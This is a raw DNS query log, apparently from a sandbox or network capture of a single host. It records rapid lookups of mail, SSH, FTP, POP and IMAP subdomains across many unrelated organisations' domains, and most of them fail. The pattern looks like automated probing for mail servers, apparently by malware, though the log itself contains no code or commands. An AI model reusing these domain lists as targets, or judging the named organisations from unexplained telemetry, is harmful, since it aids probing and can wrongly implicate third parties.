Nov 26, 2023 06:59:34.322720051 CET	1.1.1.1	192.168.2.4	0xf113	Name error (3)	ssh.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.342150927 CET	1.1.1.1	192.168.2.4	0x2c1d	Name error (3)	ssh.schor.be	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.369031906 CET	1.1.1.1	192.168.2.4	0xfea9	No error (0)	www.bunasta.eu	bunasta.eu		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:34.369031906 CET	1.1.1.1	192.168.2.4	0xfea9	No error (0)	bunasta.eu		92.62.143.50	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.395015001 CET	1.1.1.1	192.168.2.4	0xfec1	Name error (3)	bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.863476038 CET	1.1.1.1	192.168.2.4	0xd93f	Name error (3)	ssh.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.863739967 CET	1.1.1.1	192.168.2.4	0xa36d	Name error (3)	ssh.matttux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.865672112 CET	1.1.1.1	192.168.2.4	0x1a31	Name error (3)	ssh.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.240689993 CET	1.1.1.1	192.168.2.4	0x5b66	Name error (3)	ssh.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.241352081 CET	1.1.1.1	192.168.2.4	0x9c3a	Name error (3)	ssh.5.e9mbw4gh	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.250453949 CET	1.1.1.1	192.168.2.4	0xde2f	Server failure (2)	ssh.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.273114920 CET	1.1.1.1	192.168.2.4	0xfea4	Name error (3)	ssh.firemailbox.club	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.302053928 CET	1.1.1.1	192.168.2.4	0xea49	Name error (3)	mailgate.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.453370094 CET	1.1.1.1	192.168.2.4	0x7e41	Name error (3)	ssh.goldenfishcompany.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.501996994 CET	1.1.1.1	192.168.2.4	0xa1b2	Name error (3)	ssh.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.504081964 CET	1.1.1.1	192.168.2.4	0x29b4	Name error (3)	ssh.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.528096914 CET	1.1.1.1	192.168.2.4	0x9dbf	Name error (3)	ssh.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.531435966 CET	1.1.1.1	192.168.2.4	0x9298	Name error (3)	y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.532562017 CET	1.1.1.1	192.168.2.4	0xfbc	Name error (3)	ssh.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.534461975 CET	1.1.1.1	192.168.2.4	0x35a0	Name error (3)	mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.534926891 CET	1.1.1.1	192.168.2.4	0x25a	Name error (3)	ssh.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.550760031 CET	1.1.1.1	192.168.2.4	0x38bc	Name error (3)	ssh.xegge.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.552298069 CET	1.1.1.1	192.168.2.4	0x46ec	Name error (3)	ssh.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.567069054 CET	1.1.1.1	192.168.2.4	0xb5a6	Name error (3)	ssh.pixiil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.580930948 CET	1.1.1.1	192.168.2.4	0x4976	Name error (3)	ssh.chandigarhuniversityazure.onmicrosoft.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.594899893 CET	1.1.1.1	192.168.2.4	0x6e76	Name error (3)	kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.600747108 CET	1.1.1.1	192.168.2.4	0x83a0	Name error (3)	ftp.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.619664907 CET	1.1.1.1	192.168.2.4	0x7675	Name error (3)	ssh.nohonetworks.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.625725031 CET	1.1.1.1	192.168.2.4	0x44ce	Name error (3)	ssh.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.626090050 CET	1.1.1.1	192.168.2.4	0x5023	Name error (3)	dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.627026081 CET	1.1.1.1	192.168.2.4	0xeb25	Name error (3)	highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.627716064 CET	1.1.1.1	192.168.2.4	0x4d31	Name error (3)	ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.636531115 CET	1.1.1.1	192.168.2.4	0xde07	Name error (3)	ssh.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.648762941 CET	1.1.1.1	192.168.2.4	0x964b	Name error (3)	ftp.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.649828911 CET	1.1.1.1	192.168.2.4	0x8fe9	Name error (3)	ssh.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.660305977 CET	1.1.1.1	192.168.2.4	0xef40	Name error (3)	ssh.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.670789003 CET	1.1.1.1	192.168.2.4	0x4b97	Name error (3)	ms86978078.msv1.invalid	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.671272039 CET	1.1.1.1	192.168.2.4	0x26ae	Name error (3)	ssh.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.677130938 CET	1.1.1.1	192.168.2.4	0x6c3	Name error (3)	ssh.healteas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.683619022 CET	1.1.1.1	192.168.2.4	0x14e2	Name error (3)	utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.691945076 CET	1.1.1.1	192.168.2.4	0x7215	No error (0)	www.rech.com	store-4.cws.digital		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:37.691945076 CET	1.1.1.1	192.168.2.4	0x7215	No error (0)	store-4.cws.digital		54.233.137.124	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.691945076 CET	1.1.1.1	192.168.2.4	0x7215	No error (0)	store-4.cws.digital		54.233.178.199	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.693284035 CET	1.1.1.1	192.168.2.4	0x27d4	Name error (3)	smtp.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.693501949 CET	1.1.1.1	192.168.2.4	0xc840	Name error (3)	foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.730021000 CET	1.1.1.1	192.168.2.4	0x9762	Name error (3)	ssh.ippals.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.737862110 CET	1.1.1.1	192.168.2.4	0x1d11	Name error (3)	smtp.bunasta.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.776743889 CET	1.1.1.1	192.168.2.4	0x8657	Name error (3)	ssh.macisis.co.uk	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.785806894 CET	1.1.1.1	192.168.2.4	0x4e1b	Name error (3)	ssh.tnav.ru	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.826404095 CET	1.1.1.1	192.168.2.4	0xed9d	Name error (3)	mailgate.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.858700037 CET	1.1.1.1	192.168.2.4	0xe776	Name error (3)	ssh.gstudent.ctu.edu.vn	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.863133907 CET	1.1.1.1	192.168.2.4	0x30c0	Server failure (2)	bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.873867989 CET	1.1.1.1	192.168.2.4	0xca07	Name error (3)	ssh.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.884752035 CET	1.1.1.1	192.168.2.4	0x597c	Name error (3)	ssh.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.885687113 CET	1.1.1.1	192.168.2.4	0x66ed	Name error (3)	member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.009744883 CET	1.1.1.1	192.168.2.4	0xe448	Name error (3)	relay.maxiv.lu.se	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.178169966 CET	1.1.1.1	192.168.2.4	0x9340	Name error (3)	ssh.student.ub.ac.id	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.209348917 CET	1.1.1.1	192.168.2.4	0x4ae0	Name error (3)	mailgate.gstudent.ctu.edu.vn	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.209656954 CET	1.1.1.1	192.168.2.4	0xb741	Name error (3)	mail.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.214838982 CET	1.1.1.1	192.168.2.4	0x71ab	Name error (3)	mail.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.216478109 CET	1.1.1.1	192.168.2.4	0x7168	Name error (3)	mail.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.230792046 CET	1.1.1.1	192.168.2.4	0x4df	Name error (3)	mail.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.238267899 CET	1.1.1.1	192.168.2.4	0x2618	Server failure (2)	ssh.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.241193056 CET	1.1.1.1	192.168.2.4	0x133b	Name error (3)	2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.241522074 CET	1.1.1.1	192.168.2.4	0x1c31	Name error (3)	mail.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.241533041 CET	1.1.1.1	192.168.2.4	0xa822	Name error (3)	sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.241591930 CET	1.1.1.1	192.168.2.4	0x4c67	Name error (3)	mail.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.247827053 CET	1.1.1.1	192.168.2.4	0x3961	Name error (3)	mail.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.251667976 CET	1.1.1.1	192.168.2.4	0x16ad	Name error (3)	mail.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.252150059 CET	1.1.1.1	192.168.2.4	0x3037	Name error (3)	ftp.5.e9mbw4gh	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.253460884 CET	1.1.1.1	192.168.2.4	0x29ba	Name error (3)	mail.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.254520893 CET	1.1.1.1	192.168.2.4	0x4b6c	Name error (3)	pop.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.255740881 CET	1.1.1.1	192.168.2.4	0xc3ed	Name error (3)	mail.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.256026983 CET	1.1.1.1	192.168.2.4	0x61e5	Name error (3)	mail.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.270498037 CET	1.1.1.1	192.168.2.4	0xc409	Name error (3)	carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.270513058 CET	1.1.1.1	192.168.2.4	0x403b	Name error (3)	mail.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.271029949 CET	1.1.1.1	192.168.2.4	0xb835	Name error (3)	ftp.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.285485983 CET	1.1.1.1	192.168.2.4	0x5230	Name error (3)	ssh.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.303872108 CET	1.1.1.1	192.168.2.4	0x8c55	Server failure (2)	schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.306051970 CET	1.1.1.1	192.168.2.4	0xfdc5	Name error (3)	ftp.ippals.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.320233107 CET	1.1.1.1	192.168.2.4	0xba7f	Name error (3)	ftp.matttux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.325067997 CET	1.1.1.1	192.168.2.4	0x8dce	Server failure (2)	smtp.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.327662945 CET	1.1.1.1	192.168.2.4	0xf614	Name error (3)	ssh.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.362942934 CET	1.1.1.1	192.168.2.4	0x54b6	Name error (3)	ftp.healteas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.421494961 CET	1.1.1.1	192.168.2.4	0x6d22	Name error (3)	pop.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.426992893 CET	1.1.1.1	192.168.2.4	0xdfd4	Name error (3)	pop.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.451656103 CET	1.1.1.1	192.168.2.4	0x56be	Name error (3)	mail.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.456525087 CET	1.1.1.1	192.168.2.4	0x54d8	Name error (3)	ftp.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.503712893 CET	1.1.1.1	192.168.2.4	0xf9a3	Name error (3)	paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.537653923 CET	1.1.1.1	192.168.2.4	0xc978	Name error (3)	relay.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.734196901 CET	1.1.1.1	192.168.2.4	0xbf2b	Name error (3)	ftp.student.ub.ac.id	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.758666992 CET	1.1.1.1	192.168.2.4	0x4b72	Name error (3)	ftp.goldenfishcompany.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.820107937 CET	1.1.1.1	192.168.2.4	0xddf7	Name error (3)	ssh.adm.uksw.edu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.279088974 CET	1.1.1.1	192.168.2.4	0x5875	Name error (3)	pop.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.289938927 CET	1.1.1.1	192.168.2.4	0x2e1e	Name error (3)	pop.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.296304941 CET	1.1.1.1	192.168.2.4	0x3c16	Name error (3)	mail.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.305293083 CET	1.1.1.1	192.168.2.4	0x4502	Server failure (2)	mail.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.334722996 CET	1.1.1.1	192.168.2.4	0x80ac	Name error (3)	lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.341808081 CET	1.1.1.1	192.168.2.4	0xdca	Name error (3)	ssh.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.356451988 CET	1.1.1.1	192.168.2.4	0x1ce6	Name error (3)	pop.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.371611118 CET	1.1.1.1	192.168.2.4	0x20b	Name error (3)	yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.371742010 CET	1.1.1.1	192.168.2.4	0xbc00	Name error (3)	mail.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.371954918 CET	1.1.1.1	192.168.2.4	0xbc7	Name error (3)	lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.372131109 CET	1.1.1.1	192.168.2.4	0x339d	Name error (3)	ssh.schor.be	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.373383999 CET	1.1.1.1	192.168.2.4	0xe49f	Name error (3)	mail.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.376044989 CET	1.1.1.1	192.168.2.4	0x627	Name error (3)	ssh.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.383127928 CET	1.1.1.1	192.168.2.4	0xe52d	Name error (3)	ssh.aoiit.store	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.403021097 CET	1.1.1.1	192.168.2.4	0x2ebe	Name error (3)	pop.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.403548002 CET	1.1.1.1	192.168.2.4	0xebf8	Name error (3)	pop.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.403814077 CET	1.1.1.1	192.168.2.4	0xc08d	Name error (3)	pop.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.405760050 CET	1.1.1.1	192.168.2.4	0x8f36	Name error (3)	pop.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.433479071 CET	1.1.1.1	192.168.2.4	0x5d67	Name error (3)	pop.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.434214115 CET	1.1.1.1	192.168.2.4	0x1233	Name error (3)	ssh.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.434972048 CET	1.1.1.1	192.168.2.4	0xec	Name error (3)	pop.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.435110092 CET	1.1.1.1	192.168.2.4	0xffef	Name error (3)	pop.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.436467886 CET	1.1.1.1	192.168.2.4	0x749	Name error (3)	pop.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.458813906 CET	1.1.1.1	192.168.2.4	0x6e2e	Name error (3)	ssh.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.463896036 CET	1.1.1.1	192.168.2.4	0x4d46	Name error (3)	pop.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.483937979 CET	1.1.1.1	192.168.2.4	0x8014	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.489181042 CET	1.1.1.1	192.168.2.4	0xb23a	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.496799946 CET	1.1.1.1	192.168.2.4	0x700a	Name error (3)	xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.555522919 CET	1.1.1.1	192.168.2.4	0xd62e	Name error (3)	mailgate.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.584589005 CET	1.1.1.1	192.168.2.4	0xe558	Name error (3)	mail.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.611479044 CET	1.1.1.1	192.168.2.4	0xa6c9	Name error (3)	mail.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.615896940 CET	1.1.1.1	192.168.2.4	0x39bd	Name error (3)	ftp.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.617153883 CET	1.1.1.1	192.168.2.4	0x374c	Name error (3)	relay.adm.uksw.edu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.750442028 CET	1.1.1.1	192.168.2.4	0xf0c8	Name error (3)	pop.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.895715952 CET	1.1.1.1	192.168.2.4	0xb7df	Name error (3)	mailgate.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.945768118 CET	1.1.1.1	192.168.2.4	0x3549	Server failure (2)	ftp.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.950144053 CET	1.1.1.1	192.168.2.4	0x7c	Server failure (2)	imap.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.986629963 CET	1.1.1.1	192.168.2.4	0xe0a1	Name error (3)	pop.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.173969984 CET	1.1.1.1	192.168.2.4	0x9c8d	Name error (3)	relay.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.642102003 CET	1.1.1.1	192.168.2.4	0xb082	No error (0)	route2.mx.cloudflare.net		162.159.205.17	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.642102003 CET	1.1.1.1	192.168.2.4	0xb082	No error (0)	route2.mx.cloudflare.net		162.159.205.18	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.642102003 CET	1.1.1.1	192.168.2.4	0xb082	No error (0)	route2.mx.cloudflare.net		162.159.205.19	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.691488981 CET	1.1.1.1	192.168.2.4	0x786f	Name error (3)	imap.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.692451000 CET	1.1.1.1	192.168.2.4	0x8ca2	Name error (3)	imap.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.698290110 CET	1.1.1.1	192.168.2.4	0x5344	Name error (3)	imap.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.703402042 CET	1.1.1.1	192.168.2.4	0xd263	Name error (3)	imap.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.706532955 CET	1.1.1.1	192.168.2.4	0x42a0	Name error (3)	imap.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.707496881 CET	1.1.1.1	192.168.2.4	0x28df	Name error (3)	imap.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.709111929 CET	1.1.1.1	192.168.2.4	0x4424	Name error (3)	pop3.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.719728947 CET	1.1.1.1	192.168.2.4	0x492e	Name error (3)	imap.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.725308895 CET	1.1.1.1	192.168.2.4	0x97b	Name error (3)	imap.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.725414991 CET	1.1.1.1	192.168.2.4	0x5385	Name error (3)	pop3.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.734405041 CET	1.1.1.1	192.168.2.4	0x2434	Name error (3)	imap.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.736382961 CET	1.1.1.1	192.168.2.4	0x1473	Name error (3)	imap.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.736490011 CET	1.1.1.1	192.168.2.4	0x7898	Name error (3)	imap.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.737530947 CET	1.1.1.1	192.168.2.4	0x74f7	Name error (3)	imap.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.737579107 CET	1.1.1.1	192.168.2.4	0xbe52	Name error (3)	imap.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.740293026 CET	1.1.1.1	192.168.2.4	0x7cd0	Name error (3)	imap.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.740617037 CET	1.1.1.1	192.168.2.4	0xb203	Name error (3)	pop3.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.751107931 CET	1.1.1.1	192.168.2.4	0x9407	Name error (3)	pop3.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.753272057 CET	1.1.1.1	192.168.2.4	0xd9a8	Name error (3)	pop3.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.754328012 CET	1.1.1.1	192.168.2.4	0x7a3	Name error (3)	pop3.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.755044937 CET	1.1.1.1	192.168.2.4	0x12a4	Name error (3)	pop3.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.756386995 CET	1.1.1.1	192.168.2.4	0xf98f	Name error (3)	pop3.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.757746935 CET	1.1.1.1	192.168.2.4	0x854c	Name error (3)	pop3.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.757762909 CET	1.1.1.1	192.168.2.4	0xf99a	Name error (3)	pop3.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.762074947 CET	1.1.1.1	192.168.2.4	0x5c65	Name error (3)	pop3.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
